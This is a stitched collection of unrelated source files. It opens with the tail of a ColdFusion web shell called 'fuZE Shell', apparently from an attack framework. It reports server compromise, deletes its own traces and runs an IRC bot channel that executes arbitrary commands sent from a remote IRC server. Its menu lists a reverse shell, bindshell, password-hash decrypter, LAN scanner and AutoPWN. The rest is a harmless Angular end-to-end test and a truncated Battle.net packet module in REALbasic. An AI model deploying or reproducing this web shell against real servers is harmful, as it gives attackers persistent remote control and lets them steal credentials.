url="http://#target_host#/CFIDE/administrator/scheduler/scheduletasks.cfm?action=delete&task=CFSh" result="deletetask" method="get"> <cfhttpparam type="header" name="Cookie" value="#authkey#"> <cffile action="Delete" file="#getDirectoryFromPath(getCurrentTemplatePath())##shell_name#.txt"> </cfhttp>[~] Results: [*] Server Status: <cfif find("&fnof;uZE Shell",shell_status.Filecontent) NEQ 0 OR find("&##181;SH",shell_status_2.Filecontent) NEQ 0>Compromised<cfelse>Uncompromised</cfif> [*] Access obtained: <cfoutput>#HTMLEditFormat(runtime_user)#</cfoutput> [*] Shell location: <cfif find("&fnof;uZE Shell",shell_status.Filecontent) NEQ 0><cfoutput>#HTMLEditFormat("http://#target_host#/CFIDE/#shell_name#.cfm")#</cfoutput><cfelseif find("&##181;SH",shell_status_2.Filecontent) NEQ 0><cfoutput>#HTMLEditFormat("http://#target_host#/CFIDE/microshell.cfm")#</cfoutput><cfelse>N/A</cfif> [~] EOF ====================================================================================================</textarea> <cfcatch>[!] Error<cfif isDefined("cfcatch.message")>: <cfoutput>#cfcatch.message#</cfoutput></cfif> [~] Results: [*] Server Status: N/A [*] Access obtained: N/A [*] Shell location: N/A [~] EOF ====================================================================================================</textarea> </cfcatch> </cftry> <cfelseif isDefined("Form.nuke")> <pre>Nuking shell</pre> <textarea class="report" rows="20"> <cftry> <cffile action="delete" file="#getCurrentTemplatePath()#"> Shell nuked <cfcatch>Error</cfcatch> </cftry> </textarea> <cfelseif isDefined("Form.ircip") and isDefined("Form.ircport")> <pre>Connecting to #htmleditformat(Form.ircip)#:#htmleditformat(Form.ircport)#</pre> <textarea class="report" rows="20"> <cftry> <cfscript> try{ // Create socket socket=createObject("java","java.net.Socket"); // Connect to remote host socket.connect(createObject("java","java.net.InetSocketAddress").init(Form.ircip,Form.ircport)); writeoutput("Remote port reached: #socket.isConnected()##chr(10)#"); // Establish connection try{ instream=createObject("java","java.io.BufferedReader").init(createObject("java","java.io.InputStreamReader").init(socket.getInputStream())); outstream=createObject("java","java.io.PrintWriter").init(socket.getOutputStream()); writeoutput("Connection successful!#chr(10)#"); } catch (IOException e) { writeoutput("IO Exception: Read failed#chr(10)#"); } // Communicate outstream.println("NICK #Form.ircnick#"); outstream.println("USER #Form.ircuname# 8 * :#Form.ircrname#"); outstream.flush(); while(True){ str = instream.readLine(); cmd = str.split(" "); //---------------------CLIENT----------------------// if (not cmd[1] EQ "PING"){ if (cmd[2] EQ "433"){ writeoutput("Nickname already in use: #Form.ircnick##chr(10)#"); Form.ircnick="#Form.ircnick#_"; outstream.println("NICK #Form.ircnick#"); outstream.flush(); } else if (cmd[2] EQ "004"){ writeoutput("Entered IRC#chr(10)#"); outstream.println("JOIN #Form.ircchan#"); outstream.flush(); } else if (FindNoCase(":>",str)){ command_init=str.split(":>"); command=command_init[2].split(" "); switch(command[1]){ //---------------------// // Commands //---------------------// // Raw case "raw": { raw_init=str.split(":>raw "); raw=raw_init[2]; outstream.println("#raw#"); outstream.flush(); break; } //---------------------// // Decrypt case "decrypt": { decrypt_init=str.split(":>decrypt "); decrypt_hash=decrypt_init[2]; channel=cmd[3]; outstream.println("PRIVMSG #channel# :Decrypting '#chr(15)##decrypt_hash##chr(15)#'"); outstream.flush(); dp=Decrypt(decrypt_hash, generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", "Base64"); dp=replace(dp,chr(2),"\x02","ALL"); // Escape IRC bold character dp=replace(dp,chr(3),"\x03","ALL"); // Escape IRC color character dp=replace(dp,chr(7),"\x07","ALL"); // Escape IRC beep character dp=replace(dp,chr(10),"\x0A","ALL"); // Escape LF dp=replace(dp,chr(13),"\x0D","ALL"); // Escape CR dp=replace(dp,chr(15),"\x0f","ALL"); // Escape IRC no format character dp=replace(dp,chr(16),"\x16","ALL"); // Escape IRC reverse character dp=replace(dp,chr(31),"\x1f","ALL"); // Escape IRC underline character outstream.println("PRIVMSG #channel# :'#dp#'"); outstream.flush(); break; } //---------------------// // Execute case "exec": { exec_init=str.split(":>exec "); exec=exec_init[2].split(" "); channel=cmd[3]; outstream.println("PRIVMSG #channel# :Executing '#chr(15)##exec_init[2]##chr(15)#'"); outstream.flush(); p = createObject("java","java.lang.ProcessBuilder").init(exec).start(); i = createObject("java","java.io.InputStreamReader").init(p.getInputStream()); br = createObject("java","java.io.BufferedReader").init(i); line=br.readLine(); while (isDefined("line")) { outstream.println("PRIVMSG #channel# :> #line#"); outstream.flush(); line = br.readLine(); } br.close(); i.close(); break; } //---------------------// // Help case "help": { channel=cmd[3]; outstream.println("PRIVMSG #channel# :fuZE CF IRC Datapipe | Developed by XiX"); outstream.println("PRIVMSG #channel# :Commands: >raw >decrypt >exec >help >exit"); outstream.flush(); break; } //---------------------// // Exit case "exit": { outstream.close(); instream.close(); socket.close(); break; } //---------------------// // Invalid command default: { break; } //---------------------// } } } else { outstream.println("PONG #str.substring(5)#"); outstream.flush(); } //--------------------------------------------------// } }catch (Exception e) { writeoutput("Exception: Error#chr(10)#"); } </cfscript> <cfcatch>Connection terminated</cfcatch> </cftry> </textarea> <cfelse> <pre>Waiting for input</pre> <textarea class="report" rows="20">Welcome to &fnof;uZE Shell</textarea> </cfif> </cfoutput></td><td width="25%"> <div class="container"> <div class="menu"> <div id='nav'><a href="#execute" name="modal">:: Execute command on server ::</a></div> <div id='nav'><a href="#reverse" name="modal">:: Reverse shell ::</a></div> <div id='nav'><a href="#functions" name="modal">:: Functions ::</a></div> <div id='nav'><a href="#updown" name="modal">:: Upload/download files on server ::</a></div> <div id='nav'><a href="#runsql" name="modal">:: Run SQL query ::</a></div> <div id='nav'><a href="#registry" name="modal">:: Registry ::</a></div> <div id='nav'><a href="#edit" name="modal">:: Edit file ::</a></div> <div id='nav'><a href="#bind" name="modal">:: Bindshell ::</a></div> <div id='nav'><a href="#decrypt" name="modal">:: CF hash decrypter ::</a></div> <div id='nav'><a href="#upremote" name="modal">:: Upload files from remote server ::</a></div> <div id='nav'><a href="#scanlan" name="modal">:: Scan LAN for CF ::</a></div> <div id='nav'><a href="#autopwn" name="modal">:: AutoPWN remote CF ::</a></div> <div id='nav'><a href="#irc" name="modal">:: IRC datapipe ::</a></div> <div id='nav'><a href="#nuke" name="modal">:: Nuke shell ::</a></div> </div> </div> </td></tr> </table> <div> <cfset tickEnd = GetTickCount()> <cfset loopTime = tickEnd - tickBegin> <center><pre>XiX<blink>_</blink> | &fnof;uZE | <cfoutput>#loopTime#ms</cfoutput></pre></center> </cfif> </div> <cfif IsUserLoggedIn() eq "No"> <cfform name="LoginForm" method="post" format="html"> <center> <table border="1" cellpadding="5" cellspacing="0"> <tr> <td colspan="2" align="center"> <img src="<cfoutput>#icon#</cfoutput>"> </td> </tr> <tr valign="top"> <td>UserName</td> <td> <cfinput name="UserName" type="text" id="_color" style="background-color:666666; color:White; width:250px; height:25px;"> </td> </tr> <tr valign="top"> <td>Password</td> <td> <cfinput name="Password" type="password" style="background-color:666666; color:White; width:250px; height:25px;"> </td> </tr> <tr valign="top"> <td colspan="2" align="right"> <cfinput class="_btn" type="submit" name="LoginButton" value="Login"> </td> </tr> </table> </center> </cfform> </cfif> </body> </html>

ColdFusion

0x27/clusterd

src/lib/coldfusion/fuze.cfml

import {AppPage} from '../app.po'; import {browser, logging} from 'protractor'; describe('cli-hello-world-ivy App', () => { let page: AppPage; beforeEach(() => { page = new AppPage(); page.navigateTo(); }); it('should display title', () => { expect(page.getHeading()).toEqual('Bonjour cli-hello-world-ivy-i18n!'); }); it('should display the locale', () => { expect(page.getParagraph('locale')).toEqual('fr'); }); it('the date pipe should show the localized month', () => { page.navigateTo(); expect(page.getParagraph('date')).toEqual('janvier'); }); afterEach(async () => { // Assert that there are no errors emitted from the browser const logs = await browser.manage().logs().get(logging.Type.BROWSER); expect(logs).not.toContain(jasmine.objectContaining({ level: logging.Level.SEVERE, } as logging.Entry)); }); });

TypeScript

duluca/angular

integration/cli-hello-world-ivy-i18n/e2e/fr/app.e2e-spec.ts

#tag Module Protected Module Packets #tag Method, Flags = &h21 Private Function CreateBNLS(ID As Byte, Data As String) As String Dim Buffer As String MemClass.WriteWORD(Buffer, 3 + LenB(Data), True) MemClass.WriteBYTE(Buffer, ID) MemClass.WriteRaw(Buffer, Data) Return Buffer End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateBNLS_NULL() As String Return Packets.CreateBNLS(Packets.BNLS_NULL, "") End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateBNLS_REQUESTVERSIONBYTE(Product As UInt32) As String Return Packets.CreateBNLS(Packets.BNLS_REQUESTVERSIONBYTE, MemClass.WriteDWORD(Product, True)) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateBNLS_VERSIONCHECKEX2(Product As UInt32, Flags As UInt32, Cookie As UInt32, MPQFiletime As UInt64, MPQFilename As String, ValueString As String) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, Product) MemClass.WriteDWORD(Buffer, Flags) MemClass.WriteDWORD(Buffer, Cookie) MemClass.WriteQWORD(Buffer, MPQFiletime) MemClass.WriteCString(Buffer, MPQFilename) MemClass.WriteCString(Buffer, ValueString) Return Packets.CreateBNLS(Packets.BNLS_VERSIONCHECKEX2, Buffer) End Function #tag EndMethod #tag Method, Flags = &h21 Private Function CreateSID(ID As Byte, Data As String) As String Dim Buffer As String MemClass.WriteBYTE(Buffer, &HFF) MemClass.WriteBYTE(Buffer, ID) MemClass.WriteWORD(Buffer, 4 + LenB(Data), True) MemClass.WriteRaw(Buffer, Data) Return Buffer End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_AUTH_ACCOUNTCREATE(Salt As String, Verifier As String, Username As String) As String Dim Buffer As String MemClass.WriteRaw(Buffer, LeftB(Salt, 32)) MemClass.WriteRaw(Buffer, LeftB(Verifier, 32)) MemClass.WriteCString(Buffer, Username) Return Packets.CreateSID(Packets.SID_AUTH_ACCOUNTCREATE, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_AUTH_ACCOUNTLOGON(ClientKey As String, Username As String) As String Dim Buffer As String MemClass.WriteRaw(Buffer, LeftB(ClientKey, 32)) MemClass.WriteCString(Buffer, Username) Return Packets.CreateSID(Packets.SID_AUTH_ACCOUNTLOGON, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_AUTH_ACCOUNTLOGONPROOF(ClientPasswordProof As String) As String Return Packets.CreateSID(Packets.SID_AUTH_ACCOUNTLOGONPROOF, LeftB(ClientPasswordProof, 20)) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_AUTH_CHECK(ClientToken As UInt32, EXEVersion As UInt32, EXEChecksum As UInt32, EXEInfo As String, CDKeyOwner As String, SpawnKey As Boolean, CDKeys() As String) As String // Each CD-key is encoded first (36 bytes / 9 DWORDs) before arriving to this function. Dim Buffer As String Dim Prebuffer As String, Keys As UInt32 = 0 // We pre-buffer our CD-keys so that we can make sure we tell Battle.net how // many exactly CD-keys there are. The only reason to pre-buffer the keys is // so that we can add/remove accidentally invalid keys here, before they get // sent to the Battle.net server for checking. For Each CDKey As String In CDKeys If LenB(CDKey) = 36 Then MemClass.WriteRaw(Prebuffer, CDKey) Keys = Keys + 1 End If Next // Buffer the rest of the packet, including the pre-buffer... MemClass.WriteDWORD(Buffer, ClientToken, True) MemClass.WriteDWORD(Buffer, EXEVersion, True) MemClass.WriteDWORD(Buffer, EXEChecksum, True) MemClass.WriteDWORD(Buffer, Keys, True) If SpawnKey = True Then MemClass.WriteDWORD(Buffer, 1, True) _ Else MemClass.WriteDWORD(Buffer, 0, True) MemClass.WriteRaw(Buffer, Prebuffer) MemClass.WriteCString(Buffer, EXEInfo) MemClass.WriteCString(Buffer, CDKeyOwner) Return Packets.CreateSID(Packets.SID_AUTH_CHECK, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_AUTH_INFO(Protocol As UInt32, Platform As UInt32, Product As UInt32, VersionByte As UInt32, PLang As UInt32, IP As UInt32, Timezone As UInt32, Locale As UInt32, LangID As UInt32, CountryShort As String, CountryLong As String) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, Protocol) MemClass.WriteDWORD(Buffer, Platform) MemClass.WriteDWORD(Buffer, Product) MemClass.WriteDWORD(Buffer, VersionByte) MemClass.WriteDWORD(Buffer, PLang) MemClass.WriteDWORD(Buffer, IP) MemClass.WriteDWORD(Buffer, Timezone) MemClass.WriteDWORD(Buffer, Locale) MemClass.WriteDWORD(Buffer, LangID) MemClass.WriteCString(Buffer, CountryShort) MemClass.WriteCString(Buffer, CountryLong) Return Packets.CreateSID(Packets.SID_AUTH_INFO, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_CHATCOMMAND(Message As String) As String Return Packets.CreateSID(Packets.SID_CHATCOMMAND, MemClass.WriteCString(Message)) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_CHECKAD(PlatformId As UInt32, ProductId As UInt32, LastAdId As UInt32, CurrentTime As UInt32) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, PlatformId) MemClass.WriteDWORD(Buffer, ProductId) MemClass.WriteDWORD(Buffer, LastAdId) MemClass.WriteDWORD(Buffer, CurrentTime) Return Packets.CreateSID(Packets.SID_CHECKAD, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_CLANCREATIONINVITATION(Cookie As UInt32, ClanTag As UInt32, Inviter As String, Result As Byte) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, Cookie, True) MemClass.WriteDWORD(Buffer, ClanTag, True) MemClass.WriteCString(Buffer, Inviter) MemClass.WriteBYTE(Buffer, Result) Return Packets.CreateSID(Packets.SID_CLANCREATIONINVITATION, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_CLANDISBAND(Cookie As UInt32) As String Return Packets.CreateSID(Packets.SID_CLANDISBAND, MemClass.WriteDWORD(Cookie, True)) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_CLANINVITATION(Cookie As UInt32, Username As String) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, Cookie, True) MemClass.WriteCString(Buffer, Username) Return Packets.CreateSID(Packets.SID_CLANINVITATION, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_CLANINVITATIONRESPONSE(Cookie As UInt32, ClanTag As UInt32, Inviter As String, Result As Byte) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, Cookie, True) MemClass.WriteDWORD(Buffer, ClanTag, True) MemClass.WriteCString(Buffer, Inviter) MemClass.WriteBYTE(Buffer, Result) Return Packets.CreateSID(Packets.SID_CLANINVITATIONRESPONSE, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_CLANMEMBERINFORMATION(Cookie As UInt32, ClanTag As UInt32, Username As String) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, Cookie, True) MemClass.WriteDWORD(Buffer, ClanTag, True) MemClass.WriteCString(Buffer, Username) Return Packets.CreateSID(Packets.SID_CLANMEMBERINFORMATION, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_CLANMEMBERLIST(Cookie As UInt32) As String Return Packets.CreateSID(Packets.SID_CLANMEMBERLIST, MemClass.WriteDWORD(Cookie, True)) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_CLANMOTD(Cookie As UInt32) As String Return Packets.CreateSID( Packets.SID_CLANMOTD, MemClass.WriteDWORD( Cookie, True )) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_CLANRANKCHANGE(Cookie As UInt32, Username As String, NewRank As Byte) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, Cookie, True) MemClass.WriteCString(Buffer, Username) MemClass.WriteBYTE(Buffer, NewRank) Return Packets.CreateSID(Packets.SID_CLANRANKCHANGE, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_CLANREMOVEMEMBER(Cookie As UInt32, Username As String) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, Cookie, True) MemClass.WriteCString(Buffer, Username) Return Packets.CreateSID(Packets.SID_CLANREMOVEMEMBER, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_CREATEACCOUNT2(Password As String, Username As String) As String Dim Buffer As String MemClass.WriteRaw(Buffer, Password) MemClass.WriteCString(Buffer, Username) Return Packets.CreateSID(Packets.SID_CREATEACCOUNT2, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_ENTERCHAT(Username As String, Statstring As String) As String Dim Buffer As String MemClass.WriteCString(Buffer, Username) MemClass.WriteCString(Buffer, Statstring) Return Packets.CreateSID(Packets.SID_ENTERCHAT, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_FRIENDSLIST() As String Return Packets.CreateSID(Packets.SID_FRIENDSLIST, "") End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_GETCHANNELLIST(Product As UInt32) As String Return Packets.CreateSID(Packets.SID_GETCHANNELLIST, MemClass.WriteDWORD(Product, True)) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_GETFILETIME(RequestId As UInt32, Unknown As UInt32, Filename As String) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, RequestId) MemClass.WriteDWORD(Buffer, Unknown) MemClass.WriteCString(Buffer, Filename) Return Packets.CreateSID(Packets.SID_GETFILETIME, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_GETICONDATA() As String Return Packets.CreateSID(Packets.SID_GETICONDATA, "") End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_JOINCHANNEL(Flags As UInt32, ChannelName As String) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, Flags, True) MemClass.WriteCString(Buffer, ChannelName) Return Packets.CreateSID(Packets.SID_JOINCHANNEL, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_LEAVECHAT() As String Return Packets.CreateSID(Packets.SID_LEAVECHAT, "") End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_LOGONRESPONSE2(ClientToken As UInt32, ServerToken As UInt32, Password As String, Username As String) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, ClientToken, True) MemClass.WriteDWORD(Buffer, ServerToken, True) MemClass.WriteRaw(Buffer, Password) MemClass.WriteCString(Buffer, Username) Return Packets.CreateSID(Packets.SID_LOGONRESPONSE2, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_NOTIFYJOIN(Product As UInt32, Version As UInt32, Gamename As String, Password As String) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, Product) MemClass.WriteDWORD(Buffer, Version) MemClass.WriteCString(Buffer, Gamename) MemClass.WriteCString(Buffer, Password) Return Packets.CreateSID(Packets.SID_NOTIFYJOIN, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_NULL() As String Return Packets.CreateSID(Packets.SID_NULL, "") End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_PING(RawData As String) As String Return Packets.CreateSID(Packets.SID_PING, RawData) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_PING(Cookie As UInt32) As String Return Packets.CreateSID(Packets.SID_PING, MemClass.WriteDWORD(Cookie, True)) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_READUSERDATA(Cookie As UInt32, Accounts() As String, Keys() As String) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, UBound(Accounts) + 1) MemClass.WriteDWORD(Buffer, UBound(Keys) + 1) MemClass.WriteDWORD(Buffer, Cookie) For Each Account As String In Accounts MemClass.WriteCString(Buffer, Account) Next For Each Key As String In Keys MemClass.WriteCString(Buffer, Key) Next Return Packets.CreateSID(Packets.SID_READUSERDATA, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_SETEMAIL(EmailAddress As String) As String Return Packets.CreateSID(Packets.SID_SETEMAIL, MemClass.WriteCString(EmailAddress)) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_UDPPINGRESPONSE(Code As UInt32) As String Return Packets.CreateSID(Packets.SID_UDPPINGRESPONSE, MemClass.WriteDWORD(Code, True)) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function CreateSID_WRITEUSERDATA(Accounts() As String, Keys() As String, Values() As String) As String Dim Buffer As String MemClass.WriteDWORD(Buffer, UBound(Accounts) + 1) MemClass.WriteDWORD(Buffer, UBound(Keys) + 1) For Each Account As String In Accounts MemClass.WriteCString(Buffer, Account) Next For Each Key As String In Keys MemClass.WriteCString(Buffer, Key) Next For Each Value As String In Values MemClass.WriteCString(Buffer, Value) Next Return Packets.CreateSID(Packets.SID_WRITEUSERDATA, Buffer) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseBNLS(Sock As BNLSSocket, PktID As Byte, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.BNET = Nil Then Return False If Sock.BNET.Config = Nil Then Return False If Sock.BNET.Config.VerbosePackets = True Then _ Sock.BNET.Config.AddChat(True, Colors.Yellow, "RECV BNLS_0x" + Right("00" + Hex(PktID), 2) + _ " (Bytes: " + Str(4 + LenB(PktData)) + ")") Dim ret As Boolean = True Select Case PktID Case Packets.BNLS_NULL ret = Packets.ParseBNLS_NULL(Sock, PktData) Case Packets.BNLS_VERSIONCHECKEX2 ret = Packets.ParseBNLS_VERSIONCHECKEX2(Sock, PktData) Case Else ret = False End Select Return ret End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseBNLS_NULL(Sock As BNLSSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If LenB(PktData) <> 0 Then Return False Sock.LastNullReceive = Microseconds() Return True End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseBNLS_VERSIONCHECKEX2(Sock As BNLSSocket, PktData As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.BNET = Nil Then Return False If Sock.BNET.Config = Nil Then Return False If LenB(PktData) < 21 And LenB(PktData) <> 8 Then Return False Dim Success As UInt32 = MemClass.ReadDWORD(PktData, 1) Dim EXEVersion As UInt32 = MemClass.ReadDWORD(PktData, 5) Dim EXEChecksum As UInt32 = MemClass.ReadDWORD(PktData, 9) Dim EXEInfo As String = MemClass.ReadCString(PktData, 13) Dim Cookie As UInt32 = MemClass.ReadDWORD(PktData, 14 + LenB(EXEInfo)) Dim VersionByte As UInt32 = MemClass.ReadDWORD(PKtData, 18 + LenB(EXEInfo)) #pragma Unused VersionByte If Success = 0 Then Sock.BNET.Config.AddChat(True, Colors.Red, "BNLS: Version check failed.") Sock.BNET.DoDisconnect(False) Return False ElseIf Cookie <> Packets.SID_AUTH_CHECK Then Sock.BNET.Config.AddChat(True, Colors.Red, "BNLS: Unknown reply for version check.") Sock.BNET.DoDisconnect(False) Return False End If Sock.BNET.EXEVersion = EXEVersion Sock.BNET.EXEChecksum = EXEChecksum Sock.BNET.EXEInfo = EXEInfo Return Packets.SendSID_AUTH_CHECK(Sock.BNET, True) End Function #tag EndMethod #tag Method, Flags = &h1 Protected Function ParseChat(Sock As BNETSocket, Line As String) As Boolean If Sock = Nil Then Return False If Sock.IsConnected = False Then Return False If Sock.Config = Nil Then Return False If Sock.Config.VerbosePackets = True Then _ Sock.Config.AddChat(True, Colors.Yellow, "RECV CHAT " + Line) Select Case Sock.ChatProtoTxnId Case Sock.ChatProtoTxnLoggingIn If InStr( Line, "connection from" ) > 0 Then Sock.Config.AddChat( True, Colors.Gray, Line ) ElseIf InStr( Line, "2010 NAME" ) > 0 Then Sock.ChatProtoTxnId = Sock.ChatProtoTxnChatting Return Packets.ParseChat( Sock, Line ) Else Sock.Config.AddChat( True, Colors.DarkRed, "Unknown Chat protocol message: ", Colors.Red, Line ) End If Case Sock.ChatProtoTxnChatting Dim bTmp As Boolean Dim colorA, colorB, colorC As Color Dim dTmp As Dictionary Dim msgIdVal As UInt32 Dim msgIdStr As String Dim msgName As String Dim msgArgs As String msgIdStr = NthField( Line, " ", 1 ) msgName = NthField( Line, " ", 2 ) msgArgs = Mid( Line, LenB( msgIdStr + msgName ) + 3 ) msgIdVal = Val( msgIdStr ) If msgIdVal >= 1000 And msgIdVal < 2000 Then msgIdVal = msgIdVal - 1000 Select Case msgIdVal Case 1, 2, 9 // EID_USERSHOW, EID_USERJOIN, EID_USERUPDATE Dim username As String = NthFieldB( msgArgs, " ", 1 ) Dim flagsStr As String = NthFieldB( msgArgs, " ", 2 ) Dim flags As UInt32 = Val( "&H" + flagsStr ) Dim ping As Int32 = 0 Dim statstring As String statstring = MidB( msgArgs, LenB( username + flagsStr ) + 4 ) statstring = LeftB( statstring, LenB( statstring ) - 1 ) // On Chat, the product is reversed, un-reverse it: statstring = ReverseStringB( LeftB( statstring, 4 )) + MidB( statstring, 5 ) If username = Sock.UniqueName Then Sock.Flags = flags Sock.Ping = 0 Sock.Statstring = statstring End If If Sock.ChannelUsers.HasKey( username ) = True Then dTmp = Sock.ChannelUsers.Value( username ) dTmp.Value( "Username" ) = username dTmp.Value( "FlagsOld" ) = dTmp.Value("Flags") dTmp.Value( "Flags" ) = flags dTmp.Value( "Ping" ) = ping If LenB( statstring ) > 0 Then dTmp.Value("Statstring") = statstring dTmp.Value( "LastMessageTime") = Microseconds() dTmp.Value( "LastMessageType") = msgIdVal dTmp.Value( "LastMessage") = "" Else dTmp = New Dictionary() dTmp.Value( "Username" ) = username dTmp.Value( "FlagsOld" ) = flags dTmp.Value( "Flags" ) = flags dTmp.Value( "Ping" ) = ping dTmp.Value( "Statstring" ) = statstring dTmp.Value( "LastMessageTime" ) = Microseconds() dTmp.Value( "LastMessageType" ) = msgIdVal dTmp.Value( "LastMessage" ) = "" dTmp.Value( "TimeEntered" ) = Microseconds() Sock.ChannelUsers.Value(username) = dTmp If msgIdVal = 2 And Sock.Config.ShowJoinLeaveMessages = True Then Sock.Config.AddChat( True, Colors.DarkSeaGreen, "-- ", _ Colors.LightSeaGreen, username, _ Colors.DarkSeaGreen, " joined the channel using ", _ Colors.LightSeaGreen, Globals.ProductName( MemClass.ReadDWORD( statstring, 1, True ), False )) End If End If Dim oldFlags As UInt32 = dTmp.Value( "FlagsOld" ).Int32Value If Sock.Config.ShowUserUpdateMessages = True And Flags <> OldFlags Then If MainWindow.IsConfigSelected( Sock.Config ) = False And msgIdVal = 9 Then Sock.Config.CacheChatUnread = True Sock.Config.Container.lstUsersTimer.Reset() End If If BitAnd( OldFlags, &H01) = 0 And BitAnd(Flags, &H01) > 0 Then Sock.Config.AddChat(True, Colors.Cyan, "CHAT: User ", _ Colors.Teal, Username, _ Colors.Cyan, " is now a ", _ Colors.LightSkyBlue, "Blizzard representative", _ Colors.Cyan, ".") End If If BitAnd( oldFlags, &H02) = 0 And BitAnd( flags, &H02) > 0 Then Sock.Config.AddChat( True, Colors.Cyan, "CHAT: User ", Colors.Teal, username, _ Colors.Cyan, " is now a ", Colors.White, "channel operator", Colors.Cyan, "." ) End If If BitAnd( oldFlags, &H04) = 0 And BitAnd( flags, &H04) > 0 Then Sock.Config.AddChat( True, Colors.Cyan, "CHAT: User ", Colors.Teal, username, _ Colors.Cyan, " is now a ", Colors.Yellow, "channel speaker", Colors.Cyan, "." ) End If If BitAnd( oldFlags, &H08) = 0 And BitAnd( flags, &H08) > 0 Then Sock.Config.AddChat( True, Colors.Cyan, "CHAT: User ", Colors.Teal, username, _ Colors.Cyan, " is now a ", Colors.LightSeaGreen, "Battle.net administrator", Colors.Cyan, "." ) End If If BitAnd( oldFlags, &H10) = 0 And BitAnd( flags, &H10) > 0 Then Sock.Config.AddChat( True, Colors.Cyan, "CHAT: User ", Colors.Teal, username, _ Colors.Cyan, " no longer has ", Colors.Teal, "UDP support", Colors.Cyan, "." ) End If If BitAnd( oldFlags, &H20) = 0 And BitAnd( flags, &H20) > 0 Then Sock.Config.AddChat( True, Colors.Cyan, "CHAT: User ", Colors.Teal, username, _ Colors.Cyan, " is now ", Colors.Red, "squelched", Colors.Cyan, "." ) End If If BitAnd( oldFlags, &H40) = 0 And BitAnd( flags, &H40) > 0 Then Sock.Config.AddChat( True, Colors.Cyan, "CHAT: User ", Colors.Teal, username, _ Colors.Cyan, " is now a ", Colors.Pink, "guest", Colors.Cyan, "." ) End If If BitAnd( oldFlags, &H01) > 0 And BitAnd( flags, &H01) = 0 Then Sock.Config.AddChat( True, Colors.Cyan, "CHAT: User ", Colors.Teal, username, _ Colors.Cyan, " is no longer a ", Colors.LightSkyBlue, "Blizzard representative", Colors.Cyan, "." ) End If If BitAnd( oldFlags, &H02) > 0 And BitAnd( flags, &H02) = 0 Then Sock.Config.AddChat( True, Colors.Cyan, "CHAT: User ", Colors.Teal, username, _ Colors.Cyan, " is no longer a ", Colors.White, "channel operator", Colors.Cyan, "." ) End If If BitAnd( oldFlags, &H04) > 0 And BitAnd( flags, &H04) = 0 Then Sock.Config.AddChat( True, Colors.Cyan, "CHAT: User ", Colors.Teal, username, _ Colors.Cyan, " is no longer a ", Colors.Yellow, "channel speaker", Colors.Cyan, "." ) End If If BitAnd( oldFlags, &H08) > 0 And BitAnd( flags, &H08) = 0 Then Sock.Config.AddChat( True, Colors.Cyan, "CHAT: User ", Colors.Teal, username, _ Colors.Cyan, " is no longer a ", Colors.LightSeaGreen, "Battle.net administrator", Colors.Cyan, "." ) End If If BitAnd( oldFlags, &H10) > 0 And BitAnd( flags, &H10) = 0 Then Sock.Config.AddChat( True, Colors.Cyan, 